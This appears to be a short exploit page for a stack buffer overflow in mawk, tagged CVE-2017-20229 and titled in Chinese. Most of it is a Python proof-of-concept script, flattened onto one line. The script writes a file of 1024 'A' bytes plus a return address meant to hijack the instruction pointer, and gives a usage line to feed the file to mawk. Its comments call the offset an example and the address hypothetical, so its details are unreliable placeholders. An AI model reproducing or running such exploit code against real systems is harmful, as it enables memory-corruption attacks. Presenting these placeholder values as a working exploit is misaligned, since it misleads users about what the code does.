CVE-2017-20229 MAWK栈缓冲区溢出漏洞

import sys import os # PoC for CVE-2017-20229 (MAWK Stack Buffer Overflow) # This script generates a malicious input to trigger the crash. def generate_poc(): # Offset to overwrite the instruction pointer (Example value) offset = 1024 # Filling the buffer with 'A's to cause overflow # In a real exploit scenario, this would contain ROP gadgets and shellcode junk = b"A" * offset # Hypothetical return address to control EIP/RIP # This address varies based on the OS and binary version ret_addr = b"\xaf\x11\x40\x00" payload = junk + ret_addr print("[*] Generating malicious input file 'exploit.txt'...") try: with open("exploit.txt", "wb") as f: f.write(payload) print("[+] File created successfully.") print("[*] Usage: ./mawk -f exploit.txt") except IOError as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": generate_poc()